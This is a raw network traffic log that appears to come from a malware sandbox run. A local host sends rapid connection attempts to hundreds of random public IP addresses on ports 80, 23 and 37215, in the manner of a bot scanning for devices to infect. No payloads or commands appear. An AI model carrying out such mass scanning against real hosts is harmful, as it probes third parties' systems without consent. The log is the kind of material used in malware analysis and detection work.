Dec 3, 2024 22:02:08.354299068 CET	39296	80	192.168.2.14	138.169.54.155
Dec 3, 2024 22:02:08.354299068 CET	39296	80	192.168.2.14	125.228.49.146
Dec 3, 2024 22:02:08.354299068 CET	39296	80	192.168.2.14	91.141.64.239
Dec 3, 2024 22:02:08.354307890 CET	39296	80	192.168.2.14	104.57.225.215
Dec 3, 2024 22:02:08.354316950 CET	39296	80	192.168.2.14	161.189.21.147
Dec 3, 2024 22:02:08.354321957 CET	39296	80	192.168.2.14	140.202.6.124
Dec 3, 2024 22:02:08.354324102 CET	39296	80	192.168.2.14	140.98.126.246
Dec 3, 2024 22:02:08.354334116 CET	39296	80	192.168.2.14	52.70.194.156
Dec 3, 2024 22:02:08.354350090 CET	39296	80	192.168.2.14	97.212.181.5
Dec 3, 2024 22:02:08.354350090 CET	39296	80	192.168.2.14	67.34.208.85
Dec 3, 2024 22:02:08.354351044 CET	39296	80	192.168.2.14	36.97.96.99
Dec 3, 2024 22:02:08.354351044 CET	39296	80	192.168.2.14	140.136.238.238
Dec 3, 2024 22:02:08.354363918 CET	39296	80	192.168.2.14	130.135.34.144
Dec 3, 2024 22:02:08.354367018 CET	39296	80	192.168.2.14	88.91.111.66
Dec 3, 2024 22:02:08.354372978 CET	39296	80	192.168.2.14	69.121.116.77
Dec 3, 2024 22:02:08.354376078 CET	39296	80	192.168.2.14	167.144.174.28
Dec 3, 2024 22:02:08.354389906 CET	39296	80	192.168.2.14	139.73.11.171
Dec 3, 2024 22:02:08.354394913 CET	39296	80	192.168.2.14	136.75.84.187
Dec 3, 2024 22:02:08.354394913 CET	39296	80	192.168.2.14	115.78.218.237
Dec 3, 2024 22:02:08.354410887 CET	39296	80	192.168.2.14	143.74.248.133
Dec 3, 2024 22:02:08.354414940 CET	39296	80	192.168.2.14	137.113.8.168
Dec 3, 2024 22:02:08.354417086 CET	39296	80	192.168.2.14	183.87.194.17
Dec 3, 2024 22:02:08.354419947 CET	39296	80	192.168.2.14	129.252.10.108
Dec 3, 2024 22:02:08.354439974 CET	39296	80	192.168.2.14	176.186.255.164
Dec 3, 2024 22:02:08.354439974 CET	39296	80	192.168.2.14	72.146.111.88
Dec 3, 2024 22:02:08.354449034 CET	39296	80	192.168.2.14	153.166.126.203
Dec 3, 2024 22:02:08.354453087 CET	39296	80	192.168.2.14	213.20.73.10
Dec 3, 2024 22:02:08.354464054 CET	39296	80	192.168.2.14	149.196.250.223
Dec 3, 2024 22:02:08.354469061 CET	39296	80	192.168.2.14	78.48.156.50
Dec 3, 2024 22:02:08.354470968 CET	39296	80	192.168.2.14	110.174.110.97
Dec 3, 2024 22:02:08.354487896 CET	39296	80	192.168.2.14	117.130.141.253
Dec 3, 2024 22:02:08.354490042 CET	39296	80	192.168.2.14	87.162.18.167
Dec 3, 2024 22:02:08.354490042 CET	39296	80	192.168.2.14	83.174.167.197
Dec 3, 2024 22:02:08.354490042 CET	39296	80	192.168.2.14	205.204.205.137
Dec 3, 2024 22:02:08.354497910 CET	39296	80	192.168.2.14	165.194.59.70
Dec 3, 2024 22:02:08.354497910 CET	39296	80	192.168.2.14	164.114.106.242
Dec 3, 2024 22:02:08.354504108 CET	39296	80	192.168.2.14	14.73.51.30
Dec 3, 2024 22:02:08.354505062 CET	39296	80	192.168.2.14	204.205.4.80
Dec 3, 2024 22:02:08.354506969 CET	39296	80	192.168.2.14	187.142.161.215
Dec 3, 2024 22:02:08.354509115 CET	39296	80	192.168.2.14	19.150.249.38
Dec 3, 2024 22:02:08.354523897 CET	39296	80	192.168.2.14	128.251.151.233
Dec 3, 2024 22:02:08.354525089 CET	39296	80	192.168.2.14	177.140.61.135
Dec 3, 2024 22:02:08.354540110 CET	39296	80	192.168.2.14	166.133.28.108
Dec 3, 2024 22:02:08.354541063 CET	39296	80	192.168.2.14	84.90.26.156
Dec 3, 2024 22:02:08.354541063 CET	39296	80	192.168.2.14	65.190.243.215
Dec 3, 2024 22:02:08.354549885 CET	39296	80	192.168.2.14	114.164.109.19
Dec 3, 2024 22:02:08.354552031 CET	39296	80	192.168.2.14	193.52.218.166
Dec 3, 2024 22:02:08.354566097 CET	39296	80	192.168.2.14	68.33.101.99
Dec 3, 2024 22:02:08.354568958 CET	39296	80	192.168.2.14	61.19.137.202
Dec 3, 2024 22:02:08.354576111 CET	39296	80	192.168.2.14	157.53.123.204
Dec 3, 2024 22:02:08.354589939 CET	39296	80	192.168.2.14	107.246.57.247
Dec 3, 2024 22:02:08.354590893 CET	39296	80	192.168.2.14	115.51.230.97
Dec 3, 2024 22:02:08.354590893 CET	39296	80	192.168.2.14	210.19.183.184
Dec 3, 2024 22:02:08.354593992 CET	39296	80	192.168.2.14	12.111.135.173
Dec 3, 2024 22:02:08.354604006 CET	39296	80	192.168.2.14	139.217.86.189
Dec 3, 2024 22:02:08.354610920 CET	39296	80	192.168.2.14	223.199.163.42
Dec 3, 2024 22:02:08.354623079 CET	39296	80	192.168.2.14	2.72.129.103
Dec 3, 2024 22:02:08.354629040 CET	39296	80	192.168.2.14	96.196.235.20
Dec 3, 2024 22:02:08.354629040 CET	39296	80	192.168.2.14	185.73.106.228
Dec 3, 2024 22:02:08.354630947 CET	39296	80	192.168.2.14	115.172.250.190
Dec 3, 2024 22:02:08.354635954 CET	39296	80	192.168.2.14	138.160.163.165
Dec 3, 2024 22:02:08.354652882 CET	39296	80	192.168.2.14	133.131.164.77
Dec 3, 2024 22:02:08.354667902 CET	39296	80	192.168.2.14	196.222.93.91
Dec 3, 2024 22:02:08.354667902 CET	39296	80	192.168.2.14	64.189.53.255
Dec 3, 2024 22:02:08.354667902 CET	39296	80	192.168.2.14	132.87.5.78
Dec 3, 2024 22:02:08.354669094 CET	39296	80	192.168.2.14	197.229.161.199
Dec 3, 2024 22:02:08.354679108 CET	39296	80	192.168.2.14	12.143.228.95
Dec 3, 2024 22:02:08.354681015 CET	39296	80	192.168.2.14	129.97.171.121
Dec 3, 2024 22:02:08.354686975 CET	39296	80	192.168.2.14	173.196.153.77
Dec 3, 2024 22:02:08.354693890 CET	39296	80	192.168.2.14	90.46.188.102
Dec 3, 2024 22:02:08.354696035 CET	39296	80	192.168.2.14	146.217.144.70
Dec 3, 2024 22:02:08.354696989 CET	39296	80	192.168.2.14	53.154.172.41
Dec 3, 2024 22:02:08.354701996 CET	39296	80	192.168.2.14	141.91.141.82
Dec 3, 2024 22:02:08.354705095 CET	39296	80	192.168.2.14	41.109.118.114
Dec 3, 2024 22:02:08.354712963 CET	39296	80	192.168.2.14	40.160.161.188
Dec 3, 2024 22:02:08.354726076 CET	39296	80	192.168.2.14	59.230.25.115
Dec 3, 2024 22:02:08.354726076 CET	39296	80	192.168.2.14	94.109.30.48
Dec 3, 2024 22:02:08.354736090 CET	39296	80	192.168.2.14	5.76.146.0
Dec 3, 2024 22:02:08.354736090 CET	39296	80	192.168.2.14	53.138.57.144
Dec 3, 2024 22:02:08.354737997 CET	39296	80	192.168.2.14	143.175.128.212
Dec 3, 2024 22:02:08.354742050 CET	39296	80	192.168.2.14	104.80.198.80
Dec 3, 2024 22:02:08.354744911 CET	39296	80	192.168.2.14	176.98.142.161
Dec 3, 2024 22:02:08.354753017 CET	39296	80	192.168.2.14	139.156.192.25
Dec 3, 2024 22:02:08.354779005 CET	39296	80	192.168.2.14	72.243.242.251
Dec 3, 2024 22:02:08.354779959 CET	39296	80	192.168.2.14	192.155.24.133
Dec 3, 2024 22:02:08.354784012 CET	39296	80	192.168.2.14	62.36.49.162
Dec 3, 2024 22:02:08.354784966 CET	39296	80	192.168.2.14	110.169.28.13
Dec 3, 2024 22:02:08.354789019 CET	39296	80	192.168.2.14	43.241.17.251
Dec 3, 2024 22:02:08.354809999 CET	39296	80	192.168.2.14	64.228.234.114
Dec 3, 2024 22:02:08.354809999 CET	39296	80	192.168.2.14	162.20.69.102
Dec 3, 2024 22:02:08.354809999 CET	39296	80	192.168.2.14	196.220.135.198
Dec 3, 2024 22:02:08.354810953 CET	39296	80	192.168.2.14	41.212.239.12
Dec 3, 2024 22:02:08.354809999 CET	39296	80	192.168.2.14	202.202.138.214
Dec 3, 2024 22:02:08.354815006 CET	39296	80	192.168.2.14	27.184.227.165
Dec 3, 2024 22:02:08.354829073 CET	39296	80	192.168.2.14	70.57.146.188
Dec 3, 2024 22:02:08.354831934 CET	39296	80	192.168.2.14	207.227.14.222
Dec 3, 2024 22:02:08.354835033 CET	39296	80	192.168.2.14	119.169.190.16
Dec 3, 2024 22:02:08.354835033 CET	39296	80	192.168.2.14	84.253.232.188
Dec 3, 2024 22:02:08.354845047 CET	39296	80	192.168.2.14	67.121.154.60
Dec 3, 2024 22:02:08.354846001 CET	39296	80	192.168.2.14	189.229.107.89
Dec 3, 2024 22:02:08.354846001 CET	39296	80	192.168.2.14	113.79.8.13
Dec 3, 2024 22:02:08.354861975 CET	39296	80	192.168.2.14	9.90.4.86
Dec 3, 2024 22:02:08.354868889 CET	39296	80	192.168.2.14	14.57.106.10
Dec 3, 2024 22:02:08.354871035 CET	39296	80	192.168.2.14	136.175.145.166
Dec 3, 2024 22:02:08.354882002 CET	39296	80	192.168.2.14	32.192.142.34
Dec 3, 2024 22:02:08.354882002 CET	39296	80	192.168.2.14	76.21.56.201
Dec 3, 2024 22:02:08.354891062 CET	39296	80	192.168.2.14	67.120.157.2
Dec 3, 2024 22:02:08.354902983 CET	39296	80	192.168.2.14	70.237.42.140
Dec 3, 2024 22:02:08.354908943 CET	39296	80	192.168.2.14	69.33.140.77
Dec 3, 2024 22:02:08.354913950 CET	39296	80	192.168.2.14	76.91.15.18
Dec 3, 2024 22:02:08.354918003 CET	39296	80	192.168.2.14	59.248.233.21
Dec 3, 2024 22:02:08.354933977 CET	39296	80	192.168.2.14	60.179.169.10
Dec 3, 2024 22:02:08.354935884 CET	39296	80	192.168.2.14	195.26.224.255
Dec 3, 2024 22:02:08.354935884 CET	39296	80	192.168.2.14	135.14.171.195
Dec 3, 2024 22:02:08.354935884 CET	39296	80	192.168.2.14	9.102.196.63
Dec 3, 2024 22:02:08.354944944 CET	39296	80	192.168.2.14	52.151.59.181
Dec 3, 2024 22:02:08.354954958 CET	39296	80	192.168.2.14	191.98.150.149
Dec 3, 2024 22:02:08.354967117 CET	39296	80	192.168.2.14	99.255.149.161
Dec 3, 2024 22:02:08.354978085 CET	39296	80	192.168.2.14	178.3.14.111
Dec 3, 2024 22:02:08.354978085 CET	39296	80	192.168.2.14	208.67.112.57
Dec 3, 2024 22:02:08.354979038 CET	39296	80	192.168.2.14	160.220.52.61
Dec 3, 2024 22:02:08.354995012 CET	39296	80	192.168.2.14	157.206.244.29
Dec 3, 2024 22:02:08.354996920 CET	39296	80	192.168.2.14	43.156.66.221
Dec 3, 2024 22:02:08.354998112 CET	39296	80	192.168.2.14	37.185.82.219
Dec 3, 2024 22:02:08.354998112 CET	39296	80	192.168.2.14	92.37.251.22
Dec 3, 2024 22:02:08.354998112 CET	39296	80	192.168.2.14	81.199.100.200
Dec 3, 2024 22:02:08.355761051 CET	57468	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.355844975 CET	38374	23	192.168.2.14	176.242.164.249
Dec 3, 2024 22:02:08.357156038 CET	50254	80	192.168.2.14	174.55.139.176
Dec 3, 2024 22:02:08.357259035 CET	44026	23	192.168.2.14	160.7.127.6
Dec 3, 2024 22:02:08.358617067 CET	44094	80	192.168.2.14	105.151.53.61
Dec 3, 2024 22:02:08.358727932 CET	53188	23	192.168.2.14	106.75.115.200
Dec 3, 2024 22:02:08.360052109 CET	39182	80	192.168.2.14	54.53.237.62
Dec 3, 2024 22:02:08.360270977 CET	60928	23	192.168.2.14	85.143.48.12
Dec 3, 2024 22:02:08.361166000 CET	35098	80	192.168.2.14	178.242.237.71
Dec 3, 2024 22:02:08.361690044 CET	59622	23	192.168.2.14	152.197.136.216
Dec 3, 2024 22:02:08.362520933 CET	54548	80	192.168.2.14	118.204.187.44
Dec 3, 2024 22:02:08.363061905 CET	33270	23	192.168.2.14	156.144.5.88
Dec 3, 2024 22:02:08.363899946 CET	35186	80	192.168.2.14	157.103.75.253
Dec 3, 2024 22:02:08.364444017 CET	57232	23	192.168.2.14	158.67.181.17
Dec 3, 2024 22:02:08.365422964 CET	38108	80	192.168.2.14	178.210.152.167
Dec 3, 2024 22:02:08.365906000 CET	57276	23	192.168.2.14	177.204.20.45
Dec 3, 2024 22:02:08.366748095 CET	45594	80	192.168.2.14	114.208.100.201
Dec 3, 2024 22:02:08.367225885 CET	55110	23	192.168.2.14	122.236.188.252
Dec 3, 2024 22:02:08.368036032 CET	45112	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.368726015 CET	58284	23	192.168.2.14	135.34.122.35
Dec 3, 2024 22:02:08.369497061 CET	60880	80	192.168.2.14	198.189.224.193
Dec 3, 2024 22:02:08.370131969 CET	37014	80	192.168.2.14	204.35.160.225
Dec 3, 2024 22:02:08.370682955 CET	58062	80	192.168.2.14	177.239.113.140
Dec 3, 2024 22:02:08.385112047 CET	80	52974	67.122.14.87	192.168.2.14
Dec 3, 2024 22:02:08.385170937 CET	80	44694	116.230.207.99	192.168.2.14
Dec 3, 2024 22:02:08.385174990 CET	80	56498	27.30.146.2	192.168.2.14
Dec 3, 2024 22:02:08.385190010 CET	52974	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:08.385234118 CET	56498	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:08.385242939 CET	44694	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:08.385277033 CET	56498	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:08.385294914 CET	52974	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:08.385296106 CET	44694	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:08.393207073 CET	42152	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:08.393208981 CET	60846	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.393208981 CET	53066	80	192.168.2.14	12.248.200.130
Dec 3, 2024 22:02:08.393213034 CET	47652	80	192.168.2.14	166.70.87.115
Dec 3, 2024 22:02:08.436480045 CET	23	33310	170.54.50.234	192.168.2.14
Dec 3, 2024 22:02:08.436570883 CET	33310	23	192.168.2.14	170.54.50.234
Dec 3, 2024 22:02:08.437180042 CET	23	58598	210.32.68.80	192.168.2.14
Dec 3, 2024 22:02:08.437236071 CET	58598	23	192.168.2.14	210.32.68.80
Dec 3, 2024 22:02:08.437803030 CET	23	55572	72.213.124.48	192.168.2.14
Dec 3, 2024 22:02:08.437865019 CET	55572	23	192.168.2.14	72.213.124.48
Dec 3, 2024 22:02:08.438693047 CET	23	41642	64.162.67.243	192.168.2.14
Dec 3, 2024 22:02:08.438764095 CET	41642	23	192.168.2.14	64.162.67.243
Dec 3, 2024 22:02:08.439302921 CET	23	43312	94.153.142.51	192.168.2.14
Dec 3, 2024 22:02:08.439352989 CET	43312	23	192.168.2.14	94.153.142.51
Dec 3, 2024 22:02:08.440028906 CET	23	44108	90.22.126.161	192.168.2.14
Dec 3, 2024 22:02:08.440073013 CET	44108	23	192.168.2.14	90.22.126.161
Dec 3, 2024 22:02:08.447945118 CET	23	38900	117.197.241.222	192.168.2.14
Dec 3, 2024 22:02:08.448014975 CET	38900	23	192.168.2.14	117.197.241.222
Dec 3, 2024 22:02:08.455940008 CET	23	41270	128.187.42.243	192.168.2.14
Dec 3, 2024 22:02:08.456032991 CET	41270	23	192.168.2.14	128.187.42.243
Dec 3, 2024 22:02:08.467303038 CET	23	41132	151.10.113.141	192.168.2.14
Dec 3, 2024 22:02:08.467410088 CET	41132	23	192.168.2.14	151.10.113.141
Dec 3, 2024 22:02:08.473543882 CET	80	46526	18.112.98.27	192.168.2.14
Dec 3, 2024 22:02:08.473587990 CET	46526	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:08.475743055 CET	80	57468	78.0.83.2	192.168.2.14
Dec 3, 2024 22:02:08.475820065 CET	57468	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.475898981 CET	57468	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.475898981 CET	57468	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.476296902 CET	57514	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.487962961 CET	80	45112	143.99.95.110	192.168.2.14
Dec 3, 2024 22:02:08.488032103 CET	45112	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.488074064 CET	45112	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.488074064 CET	45112	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.488360882 CET	45124	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.505852938 CET	80	52974	67.122.14.87	192.168.2.14
Dec 3, 2024 22:02:08.505928993 CET	52974	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:08.506196976 CET	80	56498	27.30.146.2	192.168.2.14
Dec 3, 2024 22:02:08.506262064 CET	56498	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:08.506330013 CET	80	44694	116.230.207.99	192.168.2.14
Dec 3, 2024 22:02:08.506463051 CET	44694	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:08.513317108 CET	80	60846	4.254.111.251	192.168.2.14
Dec 3, 2024 22:02:08.513374090 CET	80	42152	206.151.4.183	192.168.2.14
Dec 3, 2024 22:02:08.513374090 CET	60846	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.513422012 CET	42152	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:08.513442993 CET	60846	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.513442993 CET	60846	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.513752937 CET	32850	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.514116049 CET	42152	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:08.514116049 CET	42152	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:08.514383078 CET	42388	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:08.571190119 CET	40832	37215	192.168.2.14	156.48.47.146
Dec 3, 2024 22:02:08.571202993 CET	40832	37215	192.168.2.14	156.193.43.120
Dec 3, 2024 22:02:08.571218967 CET	40832	37215	192.168.2.14	197.208.71.138
Dec 3, 2024 22:02:08.571218967 CET	40832	37215	192.168.2.14	41.178.249.86
Dec 3, 2024 22:02:08.571218967 CET	40832	37215	192.168.2.14	156.244.107.232
Dec 3, 2024 22:02:08.571234941 CET	40832	37215	192.168.2.14	197.225.210.86
Dec 3, 2024 22:02:08.571240902 CET	40832	37215	192.168.2.14	156.212.161.29
Dec 3, 2024 22:02:08.571242094 CET	40832	37215	192.168.2.14	197.72.134.123
Dec 3, 2024 22:02:08.571242094 CET	40832	37215	192.168.2.14	41.255.207.156
Dec 3, 2024 22:02:08.571240902 CET	40832	37215	192.168.2.14	41.146.254.167
Dec 3, 2024 22:02:08.571249008 CET	40832	37215	192.168.2.14	156.186.46.0
Dec 3, 2024 22:02:08.571258068 CET	40832	37215	192.168.2.14	197.169.14.100
Dec 3, 2024 22:02:08.571268082 CET	40832	37215	192.168.2.14	197.255.22.244
Dec 3, 2024 22:02:08.571273088 CET	40832	37215	192.168.2.14	197.51.35.149
Dec 3, 2024 22:02:08.571280003 CET	40832	37215	192.168.2.14	197.148.154.66
Dec 3, 2024 22:02:08.571283102 CET	40832	37215	192.168.2.14	41.77.120.217
Dec 3, 2024 22:02:08.571283102 CET	40832	37215	192.168.2.14	197.162.251.243
Dec 3, 2024 22:02:08.571316004 CET	40832	37215	192.168.2.14	156.103.49.89
Dec 3, 2024 22:02:08.571316004 CET	40832	37215	192.168.2.14	41.206.123.62
Dec 3, 2024 22:02:08.571316004 CET	40832	37215	192.168.2.14	41.114.170.145
Dec 3, 2024 22:02:08.571310997 CET	40832	37215	192.168.2.14	156.212.156.118
Dec 3, 2024 22:02:08.571321011 CET	40832	37215	192.168.2.14	156.118.242.156
Dec 3, 2024 22:02:08.571321011 CET	40832	37215	192.168.2.14	156.86.147.48
Dec 3, 2024 22:02:08.571321011 CET	40832	37215	192.168.2.14	41.147.200.114
Dec 3, 2024 22:02:08.571321011 CET	40832	37215	192.168.2.14	41.2.101.220
Dec 3, 2024 22:02:08.571322918 CET	40832	37215	192.168.2.14	41.212.108.253
Dec 3, 2024 22:02:08.571321011 CET	40832	37215	192.168.2.14	156.4.166.182
Dec 3, 2024 22:02:08.571322918 CET	40832	37215	192.168.2.14	41.32.67.146
Dec 3, 2024 22:02:08.571322918 CET	40832	37215	192.168.2.14	197.31.20.99
Dec 3, 2024 22:02:08.571327925 CET	40832	37215	192.168.2.14	156.186.184.118
Dec 3, 2024 22:02:08.571327925 CET	40832	37215	192.168.2.14	156.220.92.168
Dec 3, 2024 22:02:08.571341038 CET	40832	37215	192.168.2.14	156.202.18.209
Dec 3, 2024 22:02:08.571348906 CET	40832	37215	192.168.2.14	156.67.21.216
Dec 3, 2024 22:02:08.571352005 CET	40832	37215	192.168.2.14	41.143.89.114
Dec 3, 2024 22:02:08.571355104 CET	40832	37215	192.168.2.14	41.239.198.254
Dec 3, 2024 22:02:08.571368933 CET	40832	37215	192.168.2.14	41.157.46.15
Dec 3, 2024 22:02:08.571376085 CET	40832	37215	192.168.2.14	197.138.22.11
Dec 3, 2024 22:02:08.571377039 CET	40832	37215	192.168.2.14	197.170.190.84
Dec 3, 2024 22:02:08.571377039 CET	40832	37215	192.168.2.14	156.8.186.120
Dec 3, 2024 22:02:08.571379900 CET	40832	37215	192.168.2.14	156.96.85.179
Dec 3, 2024 22:02:08.571394920 CET	40832	37215	192.168.2.14	197.236.80.43
Dec 3, 2024 22:02:08.571394920 CET	40832	37215	192.168.2.14	156.216.179.144
Dec 3, 2024 22:02:08.571403980 CET	40832	37215	192.168.2.14	41.223.83.243
Dec 3, 2024 22:02:08.571405888 CET	40832	37215	192.168.2.14	41.201.82.16
Dec 3, 2024 22:02:08.571407080 CET	40832	37215	192.168.2.14	41.37.31.106
Dec 3, 2024 22:02:08.571409941 CET	40832	37215	192.168.2.14	41.57.220.61
Dec 3, 2024 22:02:08.571422100 CET	40832	37215	192.168.2.14	197.85.56.252
Dec 3, 2024 22:02:08.571425915 CET	40832	37215	192.168.2.14	156.20.206.225
Dec 3, 2024 22:02:08.571428061 CET	40832	37215	192.168.2.14	197.239.200.19
Dec 3, 2024 22:02:08.571434021 CET	40832	37215	192.168.2.14	156.19.233.197
Dec 3, 2024 22:02:08.571444988 CET	40832	37215	192.168.2.14	197.47.203.11
Dec 3, 2024 22:02:08.571455956 CET	40832	37215	192.168.2.14	156.107.177.61
Dec 3, 2024 22:02:08.571472883 CET	40832	37215	192.168.2.14	156.195.160.6
Dec 3, 2024 22:02:08.571472883 CET	40832	37215	192.168.2.14	197.18.84.147
Dec 3, 2024 22:02:08.571474075 CET	40832	37215	192.168.2.14	156.186.55.96
Dec 3, 2024 22:02:08.571474075 CET	40832	37215	192.168.2.14	197.175.215.28
Dec 3, 2024 22:02:08.571474075 CET	40832	37215	192.168.2.14	197.238.243.74
Dec 3, 2024 22:02:08.571486950 CET	40832	37215	192.168.2.14	156.144.72.96
Dec 3, 2024 22:02:08.571489096 CET	40832	37215	192.168.2.14	197.133.135.118
Dec 3, 2024 22:02:08.571501017 CET	40832	37215	192.168.2.14	41.89.86.24
Dec 3, 2024 22:02:08.571501017 CET	40832	37215	192.168.2.14	156.124.222.247
Dec 3, 2024 22:02:08.571513891 CET	40832	37215	192.168.2.14	41.66.8.24
Dec 3, 2024 22:02:08.571518898 CET	40832	37215	192.168.2.14	197.48.105.94
Dec 3, 2024 22:02:08.571523905 CET	40832	37215	192.168.2.14	41.244.11.21
Dec 3, 2024 22:02:08.571525097 CET	40832	37215	192.168.2.14	156.55.98.156
Dec 3, 2024 22:02:08.571527004 CET	40832	37215	192.168.2.14	197.254.37.72
Dec 3, 2024 22:02:08.571538925 CET	40832	37215	192.168.2.14	197.42.50.0
Dec 3, 2024 22:02:08.571538925 CET	40832	37215	192.168.2.14	197.238.251.215
Dec 3, 2024 22:02:08.571547031 CET	40832	37215	192.168.2.14	41.209.70.155
Dec 3, 2024 22:02:08.571547031 CET	40832	37215	192.168.2.14	197.83.130.110
Dec 3, 2024 22:02:08.571559906 CET	40832	37215	192.168.2.14	41.159.126.213
Dec 3, 2024 22:02:08.571561098 CET	40832	37215	192.168.2.14	41.38.92.157
Dec 3, 2024 22:02:08.571563005 CET	40832	37215	192.168.2.14	197.179.108.60
Dec 3, 2024 22:02:08.571572065 CET	40832	37215	192.168.2.14	156.103.12.30
Dec 3, 2024 22:02:08.571579933 CET	40832	37215	192.168.2.14	197.28.171.60
Dec 3, 2024 22:02:08.571579933 CET	40832	37215	192.168.2.14	197.5.38.42
Dec 3, 2024 22:02:08.571589947 CET	40832	37215	192.168.2.14	156.200.153.193
Dec 3, 2024 22:02:08.571593046 CET	40832	37215	192.168.2.14	197.80.235.231
Dec 3, 2024 22:02:08.571598053 CET	40832	37215	192.168.2.14	156.16.76.85
Dec 3, 2024 22:02:08.571599960 CET	40832	37215	192.168.2.14	41.126.71.244
Dec 3, 2024 22:02:08.571607113 CET	40832	37215	192.168.2.14	197.85.208.220
Dec 3, 2024 22:02:08.571614027 CET	40832	37215	192.168.2.14	41.146.56.202
Dec 3, 2024 22:02:08.571616888 CET	40832	37215	192.168.2.14	41.61.81.213
Dec 3, 2024 22:02:08.571624041 CET	40832	37215	192.168.2.14	41.106.140.2
Dec 3, 2024 22:02:08.571628094 CET	40832	37215	192.168.2.14	197.110.228.76
Dec 3, 2024 22:02:08.571640968 CET	40832	37215	192.168.2.14	197.180.101.95
Dec 3, 2024 22:02:08.571651936 CET	40832	37215	192.168.2.14	41.57.129.27
Dec 3, 2024 22:02:08.571651936 CET	40832	37215	192.168.2.14	41.49.253.137
Dec 3, 2024 22:02:08.571661949 CET	40832	37215	192.168.2.14	156.166.145.26
Dec 3, 2024 22:02:08.571667910 CET	40832	37215	192.168.2.14	197.216.89.255
Dec 3, 2024 22:02:08.571675062 CET	40832	37215	192.168.2.14	41.111.99.192
Dec 3, 2024 22:02:08.571679115 CET	40832	37215	192.168.2.14	41.87.66.17
Dec 3, 2024 22:02:08.571688890 CET	40832	37215	192.168.2.14	197.186.201.236
Dec 3, 2024 22:02:08.571690083 CET	40832	37215	192.168.2.14	41.167.109.151
Dec 3, 2024 22:02:08.571702003 CET	40832	37215	192.168.2.14	156.229.95.82
Dec 3, 2024 22:02:08.571707010 CET	40832	37215	192.168.2.14	197.110.40.135
Dec 3, 2024 22:02:08.571708918 CET	40832	37215	192.168.2.14	41.135.154.200
Dec 3, 2024 22:02:08.571717024 CET	40832	37215	192.168.2.14	156.164.152.100
Dec 3, 2024 22:02:08.571717024 CET	40832	37215	192.168.2.14	156.199.181.148
Dec 3, 2024 22:02:08.571717978 CET	40832	37215	192.168.2.14	156.247.190.179
Dec 3, 2024 22:02:08.571732044 CET	40832	37215	192.168.2.14	41.183.35.144
Dec 3, 2024 22:02:08.571732044 CET	40832	37215	192.168.2.14	41.80.11.90
Dec 3, 2024 22:02:08.571748018 CET	40832	37215	192.168.2.14	156.186.83.7
Dec 3, 2024 22:02:08.571751118 CET	40832	37215	192.168.2.14	41.24.135.106
Dec 3, 2024 22:02:08.571752071 CET	40832	37215	192.168.2.14	41.88.118.61
Dec 3, 2024 22:02:08.571768045 CET	40832	37215	192.168.2.14	197.39.29.176
Dec 3, 2024 22:02:08.571779013 CET	40832	37215	192.168.2.14	197.148.174.113
Dec 3, 2024 22:02:08.571779966 CET	40832	37215	192.168.2.14	156.140.67.41
Dec 3, 2024 22:02:08.571782112 CET	40832	37215	192.168.2.14	41.144.246.105
Dec 3, 2024 22:02:08.571784019 CET	40832	37215	192.168.2.14	41.186.210.250
Dec 3, 2024 22:02:08.571794987 CET	40832	37215	192.168.2.14	41.185.113.68
Dec 3, 2024 22:02:08.571800947 CET	40832	37215	192.168.2.14	197.245.76.241
Dec 3, 2024 22:02:08.571808100 CET	40832	37215	192.168.2.14	197.204.152.78
Dec 3, 2024 22:02:08.571813107 CET	40832	37215	192.168.2.14	197.158.177.24
Dec 3, 2024 22:02:08.571813107 CET	40832	37215	192.168.2.14	197.110.138.123
Dec 3, 2024 22:02:08.571832895 CET	40832	37215	192.168.2.14	41.96.63.122
Dec 3, 2024 22:02:08.571835995 CET	40832	37215	192.168.2.14	156.199.211.71
Dec 3, 2024 22:02:08.571840048 CET	40832	37215	192.168.2.14	41.46.12.217
Dec 3, 2024 22:02:08.571851969 CET	40832	37215	192.168.2.14	156.234.20.232
Dec 3, 2024 22:02:08.571852922 CET	40832	37215	192.168.2.14	197.195.238.115
Dec 3, 2024 22:02:08.571857929 CET	40832	37215	192.168.2.14	156.222.159.89
Dec 3, 2024 22:02:08.571861982 CET	40832	37215	192.168.2.14	41.39.64.221
Dec 3, 2024 22:02:08.571865082 CET	40832	37215	192.168.2.14	41.93.247.195
Dec 3, 2024 22:02:08.571885109 CET	40832	37215	192.168.2.14	41.254.191.206
Dec 3, 2024 22:02:08.571887016 CET	40832	37215	192.168.2.14	197.81.147.72
Dec 3, 2024 22:02:08.571898937 CET	40832	37215	192.168.2.14	41.145.67.57
Dec 3, 2024 22:02:08.571907043 CET	40832	37215	192.168.2.14	197.10.187.85
Dec 3, 2024 22:02:08.571907043 CET	40832	37215	192.168.2.14	197.92.80.140
Dec 3, 2024 22:02:08.571913958 CET	40832	37215	192.168.2.14	197.177.90.167
